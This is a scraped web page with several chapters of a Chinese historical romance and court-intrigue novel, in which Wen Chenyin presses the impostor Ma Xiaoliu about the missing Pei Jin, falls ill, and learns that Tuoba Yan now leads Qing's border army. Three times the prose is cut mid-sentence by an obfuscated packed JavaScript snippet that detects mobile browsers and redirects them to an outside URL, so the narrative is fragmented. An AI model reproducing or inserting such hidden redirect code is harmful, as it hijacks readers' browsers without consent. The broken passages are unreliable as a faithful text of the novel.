虽然按照顾正霆的说法,朝廷方面是担心裴行州的坟冢远在城郊,又无人看守,若是被有心人发现后,会使得他尸身受辱,才只立下了一块无字碑,但温沉吟心里很清楚,魏栩明向来不喜裴行州耿直率性的作风,对他在军中一呼百应的威望也格外忌惮,尤其是在裴瑾公然拒绝了他的指婚,转而求娶自己之后,那种忌惮和不满更是与日俱增。 涧云峡一战时,裴氏父子以“将在外,君命有所不受”强行抗旨的举动,更是让那种厌恶和不满攀升至了顶峰。 若是他当时能活下来,此后的境遇未必能有多好。 如今他死于沙场,魏栩明更有理由剥夺他应有的体面和尊容。 下面办事之人向来都会揣摩圣意,魏栩明既然已经用了诸多借口,将他的身后事办得如此潦草寒酸,他们自然也会各种花样讨皇上欢心。 静默之间,马小六已经走到了坟冢前,默默烧起了一叠黄纸。 待到黄纸烧完,他将杯中酒水洒下,然后直挺挺跪在坟前,重重磕了三个响头。 见他态度虔诚,表情肃穆,眼眶微红之下,竟似有泪光在闪动,温沉吟也不禁心下动容:“你认识裴将军?” 马小六缓缓起身,目光却依旧盯着眼前的坟冢:“裴将军这样的英雄,天下又有谁不认识呢?” 他声音不大,态度却异常坚定,很显然“英雄”二字并非随口敷衍,而是真真切切地发自内心。 温沉吟心下一酸,声音也低下来:“我母亲死得早,父亲也很少将心思放在家事上,从小到大,真正愿意理解我,关心我,对我无条件的信任和支持的长辈,也只有裴叔叔一人。所以在我心里,他不仅是保家卫国的大英雄,更是如同父亲一般。我一直盼着能嫁给瑾哥,除了倾心于他之外,更是希望能和裴叔叔真正的成为一家人……” 自相识以来,马小六第一次听她如此真挚地剖露自己的内心,惊诧之余,也不禁有些手足无措。 某个瞬间,他似是心生怜惜,想要替她擦去眼角的眼泪,然而转念之间,忽然想到自己的身份和立场,已经抬起的手,又悄然缩了回去。 温沉吟似乎从他欲言又止的表情中意识到了什么,很快抹去了脸上的泪痕:“我虽是女子,却也明白身份不同,各有立场的道理。所以当裴叔叔的面,我可以向你起誓,关于你的身份、来历和过往我都可以不再追究,以后你只要不做有损燕国之事,我也不会再与你为难。但除了这些,我也希望你能回答我几个问题,可以么?” 马小六实在没有想到对方特意将自己叫到裴行州的坟冢前,竟是为了坦心立誓来和他谈条件。 但偏偏这样的方式,却比过往任何一次酷刑加身时的威逼利诱更让他难以拒绝。 犹豫之间,他的目光看向了她眼眶泛红,却满是期待的一张脸,最终将牙一咬:“你想知道什么?” 一阵清风吹过,将坟冢前的纸灰轻轻扬起,然后静静散落在荒林之间。 温沉吟与马小六相视而立,静静地看着他,像是在判断他接下去所说的话,可信度究竟有多少。 对她而言,眼前这个人实在是太神秘,也太难以对付了。 最初他以混混的身份在赌坊出没,看似被动地卷入了联姻事件,成为了她计划中的一枚棋子。 然后他成为了裴瑾,替她解了联姻之困的同时,也因为肆意妄为,不断在败坏裴家的名声。 就在她对他彻底失望时,此人却又卷入了夏翌之死的风波中,暴露出与庆国暗探勾连的迹象。 可是当她认定了对方心怀叵测,意图不轨时,他却以一己之力保住了魏弘宣的性命和燕、越两国之间的和平。 除了身份可疑之外,这个人似乎并没有软肋,既不怕死,也不怕酷刑折磨。 不管她用尽何种手段,都没办法从他嘴里掏出半句真话。 所以事到如今,她能利用的,只有柳行云赴死前吐露的那句话—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324427|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他会这么做,无非就是心中有温小姐,舍不得她伤心罢了。” 如果对自己的心动是他的软肋,那就放手赌一把吧。 念头飞转之下,温沉吟首先抛出了一个相对温和的问题:“你为何要假冒沈星?” 因为右腿上的那条伤疤,马小六假冒沈星一事早已是板上钉钉,无可辩驳,因此他也没打算再隐瞒什么:“出行之前,我便收到消息,有人意图借贺寿之机对六殿下不利,为了防止意外发生,我便借了沈星的身份一同前去。” 温沉吟皱了皱眉,似有不解:“你与六殿下素未谋面,更谈不上什么交情,为何对他如此关心?” 马小六面露犹豫,但终究还是低声解释道:“你与温公子陪同六殿下一同出行,若他出了意外,你们必定会受到牵连的……” 虽然很清楚,自己眼下利用的就是马小六对她的心动与情意,但听到对方明明白白的表达了对自己的关切,温沉吟还是脸上一热,有些别扭的躲开了他的目光:“使团中人那么多,你为何偏偏选中了沈星。” 马小六笑了笑,似是发现了她回避的态度后,对自己那一瞬间的真情流露有些自嘲:“他初入鸿胪寺,认得他的人也不多,借用他的身份行事,自然会方便许多。” 这个答案温沉吟之前便已猜到,点头之后,便继续问道:“贺兰假扮侍卫,潜伏在越国宫中之事,你也早就知道?” 马小六的脸上飞速闪过一丝迟疑,回答也变得含糊了起来:“既知要去越国,那必定会提前做些准备。更何况,越国皇室近些年来也是内斗不断,早些摸清情况,总是好的。” 温沉吟很敏感地捕捉到了其中的关键信息:“你的意思是,你早已知道萧权一旦被擒,便有人会借机对他下手?又或者说,除了谋害六殿下,趁乱除掉萧权原本也在那些人的计划之中?” 听她问得犀利,马小六顿时陷入了沉默。 许久之后,他才苦笑着摇了摇头:“宫中那些尔虞我诈又不是什么新鲜事,交换利益,借刀杀人更是常用的伎俩。六殿下并无夺嫡之心,便已经有人意欲处之而后快,又何况是身为储君的萧权呢?” 答案虽然依旧含糊,温沉吟却已经迅速抽丝剥茧,得出了自己的结论。 燕国国中,有人想要魏弘宣的性命,这已经是不争的事实,而越国那边,也有人对萧权的太子之位虎视眈眈。 所以越王被刺一案,才会风波迭起,将两位身份贵重的皇子都卷入其中。 马小六提到的“利益交换、借刀杀人”也佐证了这场风波,大概率是燕、越两国的阴谋家暗中达成的一场交易。 如果一切如她所想,那么将萧权从乱局中劫走,便是其中必要的一环。因为只有这样,旁人才有机会在他被劫的途中下手。 只要萧权一死,魏弘宣也再无活着离开越国的机会,这场交易便算是成功收场。 所以马小六此去的初衷,很可能并非如他所说,是为了保护魏弘宣,而是要保证这场将两位皇子都送上黄泉路的死局能顺利完成。 只是从最终的结果来看,他不仅从贺兰的手下救下了萧权,还一路护送魏弘宣安全回了燕国。 所以这究竟是整个计划突然生变,还是他临时起意,打乱了行动? 42. 错误 思绪纷扰之间,又是一阵山风吹过,坟冢前几近熄灭的烛火猛的晃了晃。 火焰扬起的那一瞬间,温沉吟的眼瞳猛地一震,脑海中忽然闪过了一个念头。 马小六虽然以裴瑾的身份的出现在众人的视野里,但因为长期呆在温府,并没有什么接触朝中官员及朝政之事的机会。 那么,他能从众多使臣中选中沈星,冒名之举又进行得如此顺利,那必定是有位高权重之人在为他暗中铺路。 而且从对方能够轻而易举地调配使团成员,让马小六取而代之的情况来看,那个位高权重之人,一定就在燕国! 原本她早已经想到,一心想将魏弘宣推入死地之人便是银骊姬,但她一个深宫妇人,有很多前朝之事力有不及,所以必然还有一股势力与之勾连,谋算着一切。 但眼下的种种推测,却还是让她脊背发凉。 从谋局中的各种细节来看,这个布局之人不仅对银骊姬的心思了若指掌,能够借力打力,对越国的局势也洞若观火。 不仅如此,他甚至还能将贺兰这样的高手调为己用,略施手腕之下,便几乎以两位皇子的性命为代价,挑起燕、越两国之间的战火,其能量之大,心思之深沉,让她心惊之下,一时间竟是不敢再细想下去。 见她脸色骤变,久久不语,马小六只当她是在为魏弘宣担心,于是轻声安抚道:“六殿下此次出使越国,吃了不少苦头,陛下定会尽心呵护。如今他已回到天启,也总算是安全了,你不必太过忧虑。” 温沉吟心下不安,对他的安慰之言并无反应。 直到坟冢前的烛火终于烧尽,她才将心一横,再次问道:“你为了不让卫宁起疑,利用世子邀你出游的机会,借坠马一事,住进了顾府别院。可你是如何确保,你从别院消失之后,能不被人发现?” 马小六似是早已料到她会有此一问,脸上浮现出一丝苦笑:“在此之前,我已知侯爷因军防之事去往晋州,自是不会碰面。那个照顾我的大夫虽说并不贪财,但顾忌着家人的性命,也会为我打打掩护。至于世子……他生性纯孝,母亲突染疾病,他必定要在身旁侍奉,如此一来,自然就顾不上把心思放在我身上了……” 温沉吟原本还疑惑着顾青影的母亲之病怎么来得如此之巧,此刻听他云淡风轻的提起,心中只觉得惊怒:“你好大的胆子,既然连长公主也敢算计!” 马小六微声一叹:“每个人都有自己要保护的人,为了达到目的,都有不择手段的时候。这个道理,温小姐想必很清楚。” 温沉吟愣了愣,对他这番言论,一时间竟是无法反驳。 当初若非她一心想要留在天启追查裴瑾的行踪而找上了马小六,后面的种种变故或许也不会发生了。 对方在这场谋局里利用了沈星、顾青影以及长公主,可自己又是什么无辜之人? 怔仲之间,马小六似乎也意识到自己勾起了她一直以来的伤心事,声音很快低了下来:“温小姐,若是你不介意,我能不能也问你一个问题?” 温沉吟凝了凝神:“什么?” “虽然相处的日子并不长,但我知道素来不喜欢多事,但凡有所动作,必然是与云麾将军有关。所以你这次特意去往越国……也是因为他吗?” 温沉吟没料到他会如此敏锐,一时间只觉得犹豫。 但在对方深切地注视下,她还是点了点头:“是。” 马小六继续追问:“那现在情况如何了,是有他的消息了吗?” 温沉吟心觉有异,不禁冷声一笑:“你与他非亲非故,为何对他如此关心?” 马小六怔了怔,口气变得有些勉强:“我问这话没有别的意思,只是想说,云麾将军对你情深意重,一直没能回来,必定有他的道理。你若是因为一些捕风捉影的消息便以身涉险,难免会像这次一样,被卷入危局之中……” 短短几句话听在耳朵里,却犹如雷击一般,让温沉吟的脑袋开始嗡嗡作响。 那一刻,她忽然意识到自己犯了一个很大的错误。 她之所以会陪同魏弘宣一同出使越国,是因为认定裴瑾当初曾在那里出现过。 而认定的证据便是那块遗落的玉牌,以及将萧权救下的青年,擅于御马之术,对马匹的生活习性也十分了解。 可是从马小六设计顾青影的种种举动来看,对于如何刺激一匹马发疯,他似乎也是得心应手。 至于那块玉牌,一旦裴瑾被俘,便极有可能便会落入他人之手。 所以涧云峡一战后,在越国的荒林中救下萧权,并与庆国人同行之人或许并非裴瑾,而就是眼前的马小六。 何况马小六与庆国暗探来往密切,即便不是他们当中的一员,也必定有着莫大的牵扯。 身份如此特殊的情况的情况下,他还敢假冒裴瑾,留在帝都,丝毫不担心真正的裴瑾出现之后,他的身份会彻底败露,那便只有一个理由可以解释 ——他知道裴瑾已经再也回不来了。 随着这个念头涌入脑海,温沉吟无法再伪作冷静,再开口时,声音里已经带了上明显的颤音:“躲谢你的提醒,不过我倒是忽然想起了一件事。当初我们被困越国皇宫时,你第一时间便生擒了萧权……可你是如何得知他便是越国太子的?” 马小六愣了愣,似是一时间没想好该如何回答。 温沉吟不再给他犹豫的机会,当即踏前一步,紧盯着他的眼睛:“四个月前……准确的说,也就是涧云峡之战后,你是不是在越国的一处山林中见过萧权,并救了他?” 一道惊雷平地而起。 马小六虽然没说话,但瞬间震动的眼瞳还是昭示着他的内心正在经历一场山呼海啸。 温沉吟从他的反应中确认了自己想要的答案,心中又是激动,又是不安。 像是怕他会逃走一般,她下意识紧紧抓住了他的手:“既然瑾哥的玉牌在你那里,你一定见过他是不是?那他现在究竟在哪里,究竟是生是死,请你告诉我!” 马小六的手被她紧抓着,想要抽回,却根本挣脱不开。 这是他在梦中肖想过千万次的场面,却不想真的发生了,却会让他如此无措。 眼前的女孩就那样满脸期盼的看着他,眼中是他从未见过的哀求与炙热。 那一刻,他忽然觉得那颗从不离身的骰子像是有了生命一般,直直刺进了他的胸膛,将他的心脏搅了个天翻地覆。 恍惚之间,他似乎又回到了四个多月之前,那间冰冷的军帐里。 年轻的将军姿态挺拔地坐在不远处,即便是满室的烛火,也掩盖不住他的耀眼夺目。 他知道那是先礼后兵的一场鸿门宴,是裴瑾身陷囹圄后,被酷刑加身的开始。 所以他也知道自己那天的任务是什么。 因为长着一张与对方格外相似的脸,所以他需要仔细观察他的一举一动,模仿他说话做事的习惯,以方便未来取而代之。 因此那天,他换上了一身随从的服饰,被人带来了军帐,在一个不起眼的角落里静静地站着。 可是他心中很是不安,因为他知道再多的观察和模仿都是徒劳。 他们之间分明就是云泥之别,即便长着如此相似的一张脸,但他也绝不会冒充对方的可能。 其实从很久之前,第一次见到对方时,就知道他们完全是境遇不同的两种人。 那个时候,他刚刚从从一场危局中死里逃生。 长久的折磨让他浑身是伤,血脓横流,比一只又脏又臭的野狗好不了多少。 街市之中,但凡有人看到他,都会投来嫌弃的眼神,然后远远躲开,似乎他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328947|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个人,而是行走的瘟疫。 但他并不在意旁人对他的嫌弃和鄙夷,一心想着的只是赶紧填饱肚子。 他实在太饿了。 长时间的逃窜让他很久都没有吃过一口像样的东西。 如今身无分文又满身狼狈的情况下,也没有办法通过正常的途径去换取食物。 最后他实在没办法了,干脆在一家包子铺的附近蹲守了起来。 等到店主将新鲜出炉的包子端出来的那一刻,他拼着全身力气扑了过去,匆匆忙忙地抢下了两个包子,便迫不及待地往嘴里塞。 包子才刚咬了一口,店主已经追了过来,一边怒骂着,一边狠狠一脚揣向了他的胸口。 他被那一脚直接揣得飞了出去,然后重重摔在了地上。 气血翻涌之间,他感觉浑身的骨头都要散掉了,可强烈的饥饿感让他根本顾不上这么多,一心只想在对方追来之前,将不远处的包子捡起来,再赶紧多吃几口。 就在他一路挣扎着爬向那个已经被摔的面目全非的包子时,一道人影忽然落在了他的头顶。 紧接着,有人蹲了下来,轻轻扶住了他的肩膀:“小兄弟,你怎么了?是遇到什么难处了吗?” 那个声音充满了温柔又好听,关切之余却并没有上位者那种居高临下的施舍。 可他却只觉得不耐烦,嗯嗯啊啊的随口应付着,只想赶紧把人给打发走。 见他将那个脏兮兮的包子抓起来后,狼吞虎咽的往嘴里塞,对方从店铺老板那里又买了几个包子塞到了他手里。 感激之下,他终于抬起眼睛,想要道声谢。 目光落在对方脸上时,他却忽然愣住了。 那是他有生之年见过最高贵也最耀眼的少年,那清贵又潇洒的模样让他第一次萌生了自惭形秽之感。 其实他知道自己长得也算好看。 在他尚未如此落魄之时,听到有人夸他样貌俊俏,他心中也会洋洋得意。 但那一刻,他深刻的意识到,这种世家公子是被家世和学识雕琢出来的美玉,样貌只是他最不值一提的优点。 而他却只是在美玉的光芒下,一块最不起眼的顽石。 大概是见那少年久久停在他身边,身旁的同伴有些着急地催促了起来:“裴瑾,快走吧!再耽误下去,咱们可就迟到了!” 少年点了点头,目光在他那张布满了血迹和污泥的脸上轻轻转了个圈,然后拿出了几锭银子放在了他的手里:“小兄弟,我还有些急事,要先走一步。这些银子你拿着,去买点吃的,再去医馆看看大夫。我告诉你一个地址,若你以后遇到了什么困难,可以随时来找我。对了……我叫裴瑾。” 从那个时候开始,裴瑾这个名字便被他牢牢记在了心里。 很多时候,当他听到与这个名字有关的事情后,也会暗自幻想,如果他们异地而处,身份互换,他是否也能和对方一样出色。 但是幻想依旧是幻想。 接下来的那些年,裴瑾随父远走北境,成为了众人敬仰,声明赫赫的小将军。 而他却依旧如见不得光的野狗一样,在最阴暗最见不得人的角落里一路苟且着求生存。 眼下他们异地而处,裴瑾消失了,他却换上了他的身份。 此刻面对温沉吟的追问,他自然可以说出真相,断了她念头,彻底取而代之。 可是他舍不得她伤心。 更不希望赤诚报国,戎马一生的裴行州,在身死之后,还要因为听闻儿子的噩耗,而魂魄不宁。 所以最后,他只是轻轻把手抽了出来,避开了温沉吟的目光:“对不起,你问的这些事,我都不清楚……但是我想,你既然如此记挂着云麾将军,他也同样牵挂着你,那无论遇到何种难处,终有一日,他一定会回到你身边的。” 43. 危局 那日回府之后,温沉吟便一病不起,发起了高烧。 温珩只当她是出门吹风着了凉,便赶紧安排下人煮了退烧驱寒的汤药,亲自送了过去。 温沉吟不忍让弟弟担心,把药喝了之后就在他的催促下早早上了床。 然而再是感觉浑身乏力也好,她几经辗转,却怎么也睡不着。 自从裴瑾失踪之后,她时时刻刻都处在巨大的焦虑之中。 为了寻找他的踪迹,应付来自各方的干扰,她也有过殚精竭虑,夜不能寐的时候。 但即便是在那些时候,她的心中也是充满了希望和期待,而不是像如今这样,被巨大的绝望和无力感充斥着。 她知道马小六没对她说实话,也知道对方是出于善意,才给她留了念想。 可那个遥遥无期的“终有一日”,却比对方直接告诉她裴瑾的死讯更让她觉得煎熬。 裴瑾贴身佩戴的玉牌落到了马小六的手里,足以证明涧云峡一战后,他并没有侥幸逃脱,而是落入了庆军之手。 身为燕军主将,一旦身陷囹圄,便只有投敌叛国,或是被折磨至死两个可能。 而这两个结果,无论是对温沉吟还是裴瑾本人,都比为国捐躯,战死沙场更加残酷。 身为武将之女,虽然她从未上过战场,但耳濡目染之下,却自幼便懂得国家大义高于儿女私情的道理。 所以如果她与裴瑾再次相见,是以对方投敌为代价,那是她万万无法接受的。 可是只要一想到对方在庆军的大牢中,被各种酷刑加身的模样,她更会觉得心如刀绞。 随着各种念头纷至沓来,她感觉身上的汗越出越多,口也越来越渴,于是挣扎着起身下了床,想要喝杯茶解渴。 不想浑身乏力的状态下,她的手一直抖得厉害,斟茶之后杯子还没能举到嘴边,竟是“当”地一声掉在了地上。 随着那清脆的碎裂声在夜色中炸响,原本紧闭着的房门猛地被推开。 紧接着,一道熟悉的身影已经快步冲到了她的面前:“你怎么了?是出什么事了?” 温沉吟没有说话,只是静静地看着他。 一片朦胧的月色中,她能很清楚地看到那张年轻的脸上写满的焦灼与关切。 虽然一直都很清楚,眼前的这个人和裴瑾长得十分相像,但温沉吟却从未有过将他们错认过。 因为两个人的外貌无论如何相似,内在的气质却是难以模仿的。 在她的记忆里,裴瑾的眼神温柔而坚定,看向她的时候,总是饱含着体恤、关爱和秘而不宣的深情。 而马小六的眼睛总是不自觉的闪避着,很少与她对视,像是害怕被她窥探出藏在心中的秘密。 然而此刻,对方就这样坦然无畏地看着她,眼神中关切之情滥于言表,似是已经陷入了裴瑾的角色而不自知。 可是这份深情与关切,在她这里,却显得如此不合时宜。 在她沉默地注视下,马小六似乎也意识到了自己的失态,有些尴尬地解释了起来:“听说你病了,我有些担心。但是之前温公子在,我也不便打扰。刚从你房前路过,忽然听到动静,怕你出了什么事,所以就进来瞧瞧……” 他所住的西院与温沉吟所住屋子相隔甚远,要说“路过”实在是过于牵强。 想来他的反应如此迅速,应该是趁温珩和下人们都离去之后,就一直在她的屋外守着。 温沉吟心下明了,却无法揭穿,最终也只能装作没听见一样:“我没事,只是口渴想喝茶,不小心把杯子摔了……你回去休息吧。” 马小六“嗯”了一声,却站着没动:“你现在病着,喝凉茶不好,我看小厨房里炖了一些安神汤,热了以后给你拿过来,你喝了再睡。” 身心俱疲之下,温沉吟也无心与他争执,任由他去小厨房拿来了热汤,守着自己喝下,才再次提醒道:“好了,我现在没事了,你可以回去了。” 马小六点了点头,不知从哪又找来了一块浸过凉水的布巾,小心翼翼地递给了她:“你一会睡下以后,把它贴在额头上。以前我发烧的时候,常用这个法子降温,挺管用的。现在过了时辰,我也睡不着,就在你屋外守着。你如果有什么需要,随是叫我就是……” 没等温沉吟拒绝,他已经走向屋外,轻轻将房门关上了。 或许是那碗热腾腾的安神汤起了作用,又或许是知道一门相隔的地方,有人在静静守护着,后半夜温沉吟一直睡得很沉。 等到次日醒来,她推开房门,院中有残花落下,下人正在仔细打扫着,马小六却已经不见了。 想到很多年前,裴瑾临去北境之前来与告别,也是在院落中等了很久,那些枝头上的花瓣,或许也在夜风的轻拂下,垂落过他的肩头,温沉吟心中就忍不住五味杂陈。 这样过了三四日,温沉吟高烧渐褪,身体开始有所好转。 见她有精力开始过问府中的事务后,温珩带着几封书信,走进了她的房间。 病中这几日,温沉吟虽然一直精神不济,但也觉察到自家弟弟每次来探望时,都面带忧色,似是心事重重。 如今见他特意找上门来,她心知绝非小事,于是很快打起了十二分的精神,就等对方开口。 然而温珩却也并未直接说明来意,而是先将温北堂几日前寄到的那封家书递到了她手中。 温沉吟心觉有异,赶紧一目十行地将信看完,然后很快抓住了重点:“庆国如今竟是将边境大军的指挥权正式交到了拓跋延手里了?” “是……” 温珩显然也在为此事操心,口气一派忧心忡忡:“照这个的形式看,北境只怕很快就要再起烽烟了!” 温氏姐弟之所以对于庆军将领的变动如此在意,是因为对于燕国将士而言,拓跋延是个令人胆寒的存在。 此人原是奴役出身,幼年时在庆国一名参将手下做苦力讨生活。 因为身体瘦弱,又无人保护,那时的他一直受人欺负,吃了不少苦头。 在他十三岁那年,参将夫人回乡省亲,半路却遇到了劫道的山贼,随行的军士皆被杀尽,她也被人掳走。 危急之际,拓跋延挺身而出,一路与山贼斡旋,最终找到机会将消息送出,这才保住了参将夫人的性命与清白。 参将夫人因他获救,自是感激不已,于是拿来了许多金银财帛,想要对他进行嘉奖。 然而年幼的拓跋延却拒绝了这些赏赐,并主动提出想随着参将进军营,为自己挣得一份功名。 出于对他勇气和机敏的欣赏,参将就此将他带入军营,做了自己的亲信。 身在军营的那些年,他不惧苦累,不断抓住各种机会,学习武技战法,并在一次次的站争中舍命相搏,攒下不少军功。 因为表现出色,又舍得吃苦,他不断得到了上司的赏识,职位也在飞快提升。 到了三十岁那年,他终于有了出入朝堂,向君王谏言论政的资格,也就是在那一年,他创立起了让各国都极为头疼的暗探组织“青鹞”。 只是虽然他战功赫赫,“青鹞”创立之后更是屡立奇功,但是因为出身微寒,又没有背景,拓跋延在庆国的朝堂之上一直很受排挤,尤其是那些身份高贵,资历深厚的战将们,更是对他不屑一顾。 而这其中,对他最为轻视的,便是被庆帝亲封为瀚海将军的高雷升。 高雷升的母亲是庆帝的表姨母,作为伴读,他自幼陪着庆帝一同长大,在夺嫡之争中,更是功劳显著,两人之间信任与情谊,并非普通君臣可比。 作为武将,高雷升的表现也十分强悍,自庆帝登基之后,为他稳固基业,拓展版图立下了累累战功。 若非在进犯燕国的过程中遇到了裴氏父子,如今燕国的许多土地,大概也已经被他收为了囊中之物。 对于奴役出身的拓跋延,高雷升心下鄙夷,对他一手创立的“青鹞”更是满心不屑,即便拓跋延已经在一次次的战役中证明了自己的能力,他也会在朝堂之上公然对其打压嘲讽。 庆帝虽然对拓跋延欣赏有加,却也不愿让自己最信任的武将有所不快,因此虽说边境战场上一直不乏拓跋延的身影,但领军之权却一直都交在高雷升的手中。 但即便如此,在历经了诸多大大小小的交锋之后,裴氏父子都很快地意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336593|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到,那个如狐狸一般狡猾,如孤狼一般残忍的拓跋延,是比性情凶悍的高雷升更难缠的对手。 因此,在后期的战略上,他们也会刻意利用高雷升对拓跋延进行牵制,不让他有更多的机会对燕国造成威胁。 只是涧云峡一战中,裴氏父子在绝境之中极力反击,不仅重伤了高雷升,还将原本已经优势占尽的庆国大军再次逼退。 但与高雷升的惨败作为鲜明对比的,却是拓跋延率领的军队将裴瑾奇袭的队伍挡在了半途。 在那之后,或许是高雷升被彻底挫了锐气,就此失去了庆帝的信任,他的地位渐渐被边缘化。经过一番博弈之后,庆国边境大军的指挥权,终于被交到了拓跋延的手中。 高雷升领军之时,虽然也对燕国屡加挑衅,但因为常年与裴氏父子交手,却依旧没能从中讨到便宜,因此心中尚有顾忌。 边境虽常有战乱,但终究没有到伤筋动骨,你死我活的地步。 但拓跋延却向来野心勃勃,视人命如草芥,如今得掌军权,更是急需用一场大胜来证明自己。 所谓一将成名万骨枯。 这样的形势下,即便涧云峡一战后,燕庆两军都已经元气大伤,但对方绝不会吝啬用更多的枯骨和鲜血,来为自己增添功绩。 近段时间以来,边境的屡屡爆发的各种骚乱,便是他即将挑起战乱的最好证明。 在过往的家书中,温北堂都极少向自己的儿女提起边境战况,但或许是在应付拓跋延的过程中过于操劳,导致旧疾复发,担心自己的身体状况撑不到回京的那一日,这封家书里除了如往日一般叮嘱他们姐弟多加保重之外,竟是隐隐有了交代后事的意思。 温沉吟与父亲关系再是不睦,面对着这样一封家书,也不禁心下黯然。 长久的沉默后,她才勉强振作起精神:“阿珩,你今日来找我,不仅是为了让我看这封家书对吗?你有什么打算,直说便是。” 温珩显然早已打定了主意,当即沉声表示:“姐姐,我年纪不小的,也到了该为国效力的时候。父亲已经年迈,又有旧疾缠身,长久呆在北境,毕竟不是个办法。我早一日上战场,也能早一日替他分忧。即便以我如今的能力,无法领军打仗,但做个亲兵,在他身边照顾他也是好的。” 在他开口之前,温沉吟便已猜到了他的心思,如今听在耳中,却还是住不住满心踌躇。 在此之前,她已经失去了心爱之人,自然不希望自己唯一的弟弟在这样的情形下去舍命冒险,但作为受教于荟英堂的将门之女,她也明白上场杀敌,保家卫国,是他们的宿命与责任。 更何况,当初夏翌登门挑衅后,温珩就一直因为自己技不如人,无法护住她的周全而耿耿于怀,而且身为温家唯一的儿子,他自然也不愿眼睁睁地看着自己的父亲在前线出生入死,日日操劳,自己却心安理得地呆在在帝都享清福。 几番踌躇之下,温沉吟勉强摁纳下了满心的不舍,先一步和他讨论起了事情的可行性:“姐姐明白你的心情,也知道你想替父亲分忧。但是阿珩,你想过没有,即便你有这个意愿,但陛下会同意让你出去么?” 按照魏栩明向来的行事习惯,但凡手握兵权,外出征战的朝中武将,其家人都会安置于自己的眼皮子底下。 毕竟兵权是一把双刃剑,一旦失控,便会直接威胁到皇权的统治。 温北堂虽然向来对他忠心耿耿,但毕竟将在外,君命有所不受。 涧云峡一战中,裴氏父子抗旨不尊的举动已然惹恼了魏栩明,如今为了安心,他定会将他的一双子女留在京城帝都。 温珩显然也明白她的顾忌所在,当即表示:“姐姐,此事我已经仔细考虑过了。即便我走了,你也还留在帝都之中,你我姐弟情深,陛下应该也能放心了!” 温沉吟知他心意已决,再劝也是无用,何况以温珩的心性,也不会甘于一直京城中做一个闲散的富家公子。 因此她再是担心也好,终究还是点头表示:“你既有此志向,姐姐也不拦你。只是为防陛下误会,此事切不可操之过急。等咱们先找人在陛下那里探探口风,再做定论也不迟。” 44. 婚事 清楚了温珩的心意之后,温沉吟边开始考虑起了合适去魏栩明身前探口风的人选。 一番盘算下来,她最终将目光锁定在了顾正霆身上。 从身份上看,他是当朝长公主的驸马,地位尊崇,且深得皇上信任,从关系上说,他与裴氏父子向来亲近,必定希望北境的战事能够早日平息,以完成裴行州的遗志。 而且他性格温和,又善于揣摩上意,对温珩与自己也极是关爱。 即便魏栩明对温珩的要求有所不满,他也能从中回寰,不至于让此事闹到不可收拾的地步。 只是一旦提及北境之事,裴瑾必定会成为双方一个绕不开的角色。 若是马小六被牵连其中,难免会惹出不必要的麻烦。 当初顾正霆上门探望时,温沉吟就因为他手下的那位名叫殷鹤的高手曾为马小六调养内息而暗中警惕了好一阵,后续在夏翌一案中,马小六与包括柳行云在内的多个庆国暗探一同牵涉其中,也让她忐忑着对方是否起过疑心。 到了出使越国时,马小六为了从众人的眼皮子底下金蚕脱壳,混进使团假冒沈星,不仅利用了顾青影,还大着胆子对长公主动了手脚。 虽然事发之时顾正霆去了晋州,但回归之后,面对大病初愈的妻子和满心自责的儿子,难免不会觉察到其中的诡异之处。 若是此刻去主动招惹他,只怕会引火上身。 她这边还在权衡利弊,犹豫着要不要把温珩之事拜托给顾正霆,不料几天之后,对方却先一步敲开了温府的大门。 温沉吟心有顾忌,应付起来难免谨慎小心,但顾正霆却仿佛什么都未觉察,进门后不久,便主动问道:“前些日子我因军防之事去了晋州,没想到回来之后却听青影说起,阿瑾在与他出游时坠马受伤了……我本想赶紧来看看,无奈事情太多抽不开身,好不容易今日得空,就赶紧过来瞧瞧。说起来,阿瑾如今怎么样了,身子好些了吗?” 发现顾正霆是来探病,温沉吟不禁暗中松了一口气,于是一边宽慰着对方,一边交代卫宁,将马小六带过来。 片刻之后,马小六紧跟在卫宁身后,步履匆匆地出现在了众人面前。 比起初见面时那装疯卖傻的模样,再次见到顾正霆的马小六表现沉稳了许多,恭身见礼之后,便主动招呼道:“顾伯伯,您来了。” 听到那声“顾伯伯”,顾正霆脸上浮现出惊喜之色:“阿瑾已经记得我了,那之前的事,他是不是也都已经想起来了?” 温沉吟不敢托大,继续推诿:“顾伯伯上次来探望瑾哥之后,我和他说了很多关于您的事,所以他慢慢有了些印象。至于其他事,若要全部记起,可能还需要一些时间…… 顾正霆闻言一愣,声音低了下来:“原来如此……还真是辛苦你了。只是我看到阿瑾,总会想到他母亲。若是她泉下有知,知道阿瑾受了这么多苦,还不知道会有多难过……” 